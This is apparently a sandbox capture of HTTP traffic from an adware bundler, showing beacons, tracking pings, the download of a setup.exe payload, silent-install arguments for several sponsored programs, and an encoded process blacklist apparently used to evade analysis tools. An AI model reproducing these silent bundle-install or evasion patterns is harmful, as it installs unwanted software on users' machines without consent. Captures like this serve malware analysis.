;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=4s11le45qfkhc2qxoebayyee




HTTP/1.1 302 Found

Connection: close

Date: Fri, 30 Jan 2015 01:28:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab8
6e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2
-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=596339, public, no-transform, must-revalidate

Last-Modified: Thu, 29 Jan 2015 23:10:33 GMT

Expires: Thu, 5 Feb 2015 23:10:33 GMT

Date: Fri, 30 Jan 2015 01:32:09 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015012
9231033Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150129231033Z....20150205231033Z0...*.H........
.....pVD...&.`...[..x_].....WR...o...D.%.....;......b.....aMa^........
2&..5BF......L......n.....Pqn3......;...;..jE........^..";...%..Q';6..
]i.m...=.)~..GL ].0am....c.....z6.dD....a..L.D.8!.k....r&.....k.d.g#. 
......


GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.5

VTag: 438410416000000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Fri, 30 Jan 2015 01:29:53 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.5

VTag: 4389615400000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=838

Date: Fri, 30 Jan 2015 01:29:53 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 438346843700000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=838

Date: Fri, 30 Jan 2015 01:29:53 GMT

Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 438346843700000000..P3P: 
CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR S
AMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conte
nt-Length: 550..Cache-Control: max-age=838..Date: Fri, 30 Jan 2015 01:
29:53 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U
....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corp
oration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..15031910360
0Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10
... .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\...
.F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D..
.......-.>...(...g.0.S.[?...T4q>[email protected].('..e.
..Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=508826

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:29:21 GMT

Etag: "54cab248-1d7"

Expires: Thu, 05 Feb 2015 13:29:21 GMT

Last-Modified: Thu, 29 Jan 2015 22:20:56 GMT

Server: ECS (ams/49E4)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015012
9200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
......4;[email protected]...:...)...6.L*....
...~.xz{...................Sq.g.w.o..OZ.Z..LcUW/....%iO.8.J...6..Q..W.
..StI..`8=2...s.v.t4..7I.G..n...:.)M.....Q..u9..:...e.....DOf2.0.....4
 ...-,E...C.....4. .C0r;....x".......B..v...U....mF....


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com




HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=509379

Content-Type: application/ocsp-response

Date: Fri, 30 Jan 2015 01:29:22 GMT

Etag: "54cab40b-1d7"

Expires: Thu, 05 Feb 2015 13:29:22 GMT

Last-Modified: Thu, 29 Jan 2015 22:28:27 GMT

Server: ECS (ams/D1B3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015012
9221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150129221300Z....20150205222800Z0...*.H........
.....XR.......\i0,4..g.V'......f..t..v/..)...0.U...<.G.3.j.GG.v...l
.JW..'.M...(....F..Kgl..D.....x......nv8...B.]./........C..CV..xp..y4.
R[p.w.. ..6_.3Y.....3e...5...{.r.Z..}.....i.....r.U.......|....t......
[email protected]...{/...|.4..!7.....T..s'|. ..R....&...:v....HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=509379..Content-Type: ap
plication/ocsp-response..Date: Fri, 30 Jan 2015 01:29:22 GMT..Etag: "5
4cab40b-1d7"..Expires: Thu, 05 Feb 2015 13:29:22 GMT..Last-Modified: T
hu, 29 Jan 2015 22:28:27 GMT..Server: ECS (ams/D1B3)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0.......q.7.s....
...4. Z.....20150129221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q
.7.s.......4. Z......M.q.......d...,....20150129221300Z....20150205222
800Z0...*.H.............XR.......\i0,4..g.V'......f..t..v/..)...0.U...
<.G.3.j.GG.v...l.JW..'.M...(....F..Kgl..D.....x......nv8...B.]./...
.....C..CV..xp..y4.R[p.w.. ..6_.3Y.....3e...5...{.r.Z..}.....i.....r.U
.......|[email protected]...{/...|.4..!7.....T..s'|. ..R....&...:v.
.....
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ient HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:51 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"0.58 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:51 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.58 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /app/ping.ashx?e=t1D UTAmiediZHP23jXoQtIuZ0QlrV9vsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dt5mDgmLsXV3a7ZC ZeIWVzkCHWFRKCIDkWuHFN9lRYXm3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFVDq65iJ/PSima3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAtlUQtjil7hxOYDUfOT1J72qjTxYTaKD  HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:15 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Fri, 30 Jan 2015 01:28:15 GMT..Content-Length: 0..


GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ddxz5sd9q11xc.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 25 Jan 2015 04:57:52 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 25 Jan 2015 05:07:52 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 26

X-Cache: Hit from cloudfront

Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gtZX00wyu-LOKiwV0YZUKmZptrWL2ytZDkA32-3HKD0mRx2LIzpiCw==
1b75.............\...Gv.-?E-.Xq...$...>f!.....V$y...,..".V.......0.
.H....5.(~..s...j..d..G..3lvWW.....{k....7Wo........{.../._......O....
.y....o.z..O..7MV.EW.UV^\|....V].yxq.....O.u..x....c.....y.<9..|t..
cy.....''....g...r..r.h.M..\...'...t..g..^..".2..2.j..z......b.'....U^
..K....7..k.j.~...]l.9.v../..s....=......E.-.?....!.....O.T..<.w?.}
...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]
<<< skipped >>>


GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com




HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 28 Jan 2015 06:05:55 GMT

Accept-Ranges: bytes

ETag: "75565c7ac03ad01:0"

Server: Microsoft-IIS/8.0

VTag: 279610143200000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 554

Cache-Control: max-age=900

Date: Fri, 30 Jan 2015 01:32:08 GMT

Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150127173215Z..150428055215Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Y0... .....7......150427174215Z0.
..*.H......................YIw.. ..(..y..O.G].B.."?.@...[1.}.X...]...e
.J....pP.I....!6...%.D.k...>c.|R.?.i..yt.z..B.........b....n..m5...
0....2..I!)v....z....y.#pXz.DO.....mF...e.'e...@.%...6./.bPZ...=....bp
[email protected]..@.. ...M....z....Q...{u. .W..HTT
P/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Wed, 
28 Jan 2015 06:05:55 GMT..Accept-Ranges: bytes..ETag: "75565c7ac03ad01
:0"..Server: Microsoft-IIS/8.0..VTag: 279610143200000000..P3P: CP="ALL
 IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT
 COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Leng
th: 554..Cache-Control: max-age=900..Date: Fri, 30 Jan 2015 01:32:08 G
MT..Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1
.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation
1#0!..U....Microsoft Code Signing PCA..150127173215Z..150428055215Z.a0
_0...U.#..0..........X..7.3...L...0... .....7.........0...U......Y0...
 .....7......150427174215Z0...*.H......................YIw.. ..(..y..O
.G].B.."?.@...[1.}.X...]...e.J....pP.I....!6...%.D.k...>c.|R.?.i..y
t.z..B.........b....n..m5...0....2..I!)v....z....y.#pXz.DO.....mF...e.
'e...@.%...6./[email protected]..
<<< skipped >>>


GET /stats.gif?action=daily&app=65743&bic=4FB4C73F09554441862F9E06CA998CBBIE&verifier=aeee04e8f278dfad4abf88a95210feb1&ver=1_36_01_22&installtime=1422581366&os=7&browser=ie&browserver=10&ffver=29&chromever=35&srcid=000820&subid=0&zdata=appshatmadness&appver=21&bgver=1&pluginsver=17&curtime=1422581377&lifetime=11&rnd=3225 HTTP/1.1

Accept: */*

Host: stats.ourclientinputsrv.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

x-amz-id-2: jo3 OZM04icIglrMABfNZpiicdpk6gDBPbE4uaZ n2ZhfTCXpcQ3mVMhkJ xuQX6h9GQL7vjMlE=

x-amz-request-id: B6EE8E90943EB204

Date: Fri, 30 Jan 2015 01:29:17 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Mon, 24 Feb 2014 23:55:34 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: jo3 OZ
M04icIglrMABfNZpiicdpk6gDBPbE4uaZ n2ZhfTCXpcQ3mVMhkJ xuQX6h9GQL7vjMlE=
..x-amz-request-id: B6EE8E90943EB204..Date: Fri, 30 Jan 2015 01:29:17 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Mon, 24 Feb 2014 23:55:34 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Cache-Control: no-cache




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -WA9637oVZ3-9PxAJoAbciGcZgPB0d4V81xUMiPRJsw13xrIV4DRTw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.
<<< skipped >>>


GET /downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:55 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............~........B:6iA..v'iR0......v..Pj.@.$!q3IYv..g..r..~
.9...e;...L,.(T.j9u.........EV......9.g...oj..i.Nk.q.\e.$.Z......U../.
5..D....."}.........y-....Qx..R...V.t2...R..5........_.d....t>..a:Y
e..."..V..J....?...|.>.....g.x.....d>..>.W..4]g..u.Z...W.|.Y.
.D...i..|.&...'...Rz..=.......p.-W...O........2;_M.F..OXR..f.....2.j..
/j?..O.....b..g..&Z].....i.}.....|..Z.}y../.&.<.....=....|....4._..
#.YrI^e..{.....<.......X.:[email protected]...|2..9_-....uh.
m..r>B.W..ty...}...l.......|9Jgy.|.O.U. *.-.G(..&..s......u..o..P..
.B..e....E....|p......*..;.....L:.N?...Y.r5...`..#.]f.X.|u.;....]..e:.
.1...[2..q5..u~>\.W....z6......j.^~....lU.L>:}W./.w..f...=.NFs..
..3...d..........R...R..w2.5...7...4..g).c..G.......;............H....
.|....1.......}h>]`L.. =..l./A.d..:. ..[*...,..l.5.Y.c...q....q|..{
W....{A..s.....?.cAr......y.1.=.a.<|.......B>.ZN..Pb._-......h..
.......~....~p..W.G_}u.;>......=.... ..J....G..~.........T.b...g-w.
t.#....>...c.wn0...H....Gqp.4....../?..WU..........8....u.......Q..
3...3?...kw..q...Q..{.w.........[=[\..?cv.|...Q......e...Q..{w....9._~
.r..3.3......G...{{=...........B........s..|.f>....l..V.......%Q.g.
.3.g].x..2....O_=.6:..W.P..*..9b^. S.o.J...{g..w......A......f.S......
7.l}....`.[.Y..6....j.w.r....3..|....a..$m.......5.A....88.hnk`...)...
..8.G...U...X7.`,E..........(G..C..j....[.....#....Y.{5.S.._....jQ.)..
>../."...rF^.,C......C....R..._C...Oq..y.....~{ ...(.%T.......Uo..X
o......`.\~..;n..y\.x..&<qj.{[email protected]..].qc.j..u.v...|....
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=2&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=2&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=3&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process 